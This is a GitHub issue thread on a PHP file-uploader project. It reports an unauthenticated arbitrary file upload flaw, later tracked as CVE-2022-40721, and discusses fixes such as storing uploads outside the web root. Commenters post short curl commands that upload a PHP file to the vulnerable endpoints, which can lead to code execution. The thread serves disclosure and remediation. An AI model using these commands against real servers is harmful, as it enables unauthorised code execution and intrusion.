-
Notifications
You must be signed in to change notification settings - Fork 51
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Arbitrary file uploads #23
Comments
curl -vk site/[path]/default/php/ajax_upload_file.php -F "[email protected]" -F "files=b.php" -F "upload_dir=dir" |
Hi, |
You'd need to modify the code to either store uploaded files in a path not in the web root or filter what types of files are allowed to be uploaded. |
So does setting the 'uploadDir' => null, for dir will prevent this when called directly?
And how this command can be run from the browser or how can I try to reproduce it so I can test the fix? Thanks |
I'd make the uploadDir /var/tmp |
bscript's above exploit will work to test from the Linux command line. |
My exploit looked like this: $ curl -vk http://localhost/php-uploader/examples/upload.php -F "[email protected]"
< HTTP/1.1 100 Continue
)
|
I'm going to assign a CVEid of CVE-2022-40721 to track this. |
By defaut, this code allows arbitrary file uploads to the web server's path. This will allow any unauthenticated user to upload a PHP file to the web server's path and execute it.
The text was updated successfully, but these errors were encountered: